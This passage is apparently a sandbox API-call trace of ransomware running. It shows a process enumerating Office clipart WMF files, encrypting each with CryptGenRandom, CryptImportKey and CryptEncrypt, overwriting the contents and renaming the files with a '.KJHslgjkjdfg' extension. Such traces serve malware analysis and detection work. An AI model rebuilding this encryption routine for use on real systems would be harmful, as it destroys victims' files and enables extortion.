| out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.693] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.693] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x380a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x380a, lpOverlapped=0x0) returned 1 [0204.694] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3810, dwBufLen=0x3810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3810) returned 1 [0204.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.694] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3810, lpOverlapped=0x0) returned 1 [0204.695] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.695] SetEndOfFile (hFile=0x130) returned 1 [0204.698] GetProcessHeap () returned 0x2ef0000 [0204.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.698] GetProcessHeap () returned 0x2ef0000 [0204.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.kjhslgjkjdfg")) returned 1 [0204.699] CloseHandle (hObject=0x130) returned 1 [0204.699] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0204.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.700] GetProcessHeap () returned 0x2ef0000 [0204.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.700] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.703] GetProcessHeap () returned 0x2ef0000 [0204.703] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.703] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.703] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x899c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x899c, lpOverlapped=0x0) returned 1 [0204.705] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x89a0, dwBufLen=0x89a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x89a0) returned 1 [0204.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.705] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x89a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x89a0, lpOverlapped=0x0) returned 1 [0204.705] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.705] SetEndOfFile (hFile=0x130) returned 1 [0204.708] GetProcessHeap () returned 0x2ef0000 [0204.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.708] GetProcessHeap () returned 0x2ef0000 [0204.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.kjhslgjkjdfg")) returned 1 [0204.709] CloseHandle (hObject=0x130) returned 1 [0204.709] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0204.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.711] GetProcessHeap () returned 0x2ef0000 [0204.711] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.711] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.711] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.713] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.713] GetProcessHeap () returned 0x2ef0000 [0204.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.713] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.713] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.713] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.714] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4de6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4de6, lpOverlapped=0x0) returned 1 [0204.715] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4df0, dwBufLen=0x4df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4df0) returned 1 [0204.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.715] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4df0, lpOverlapped=0x0) returned 1 [0204.715] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.716] SetEndOfFile (hFile=0x130) returned 1 [0204.718] GetProcessHeap () returned 0x2ef0000 [0204.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.718] GetProcessHeap () returned 0x2ef0000 [0204.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.kjhslgjkjdfg")) returned 1 [0204.719] CloseHandle (hObject=0x130) returned 1 [0204.719] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0204.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.720] GetProcessHeap () returned 0x2ef0000 [0204.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.720] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.720] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.722] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.722] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.722] GetProcessHeap () returned 0x2ef0000 [0204.722] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.722] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.722] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.722] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.722] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.723] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.723] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.723] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.723] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.723] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.723] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x26e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x26e8, lpOverlapped=0x0) returned 1 [0204.724] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x26f0) returned 1 [0204.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.725] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x26f0, lpOverlapped=0x0) returned 1 [0204.725] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.725] SetEndOfFile (hFile=0x130) returned 1 [0204.726] GetProcessHeap () returned 0x2ef0000 [0204.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.726] GetProcessHeap () returned 0x2ef0000 [0204.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.kjhslgjkjdfg")) returned 1 [0204.728] CloseHandle (hObject=0x130) returned 1 [0204.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0204.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.729] GetProcessHeap () returned 0x2ef0000 [0204.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.729] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.729] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.731] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.731] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.731] GetProcessHeap () returned 0x2ef0000 [0204.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.732] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.732] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.732] CryptSetKeyParam (hKey=0x2f182c8, 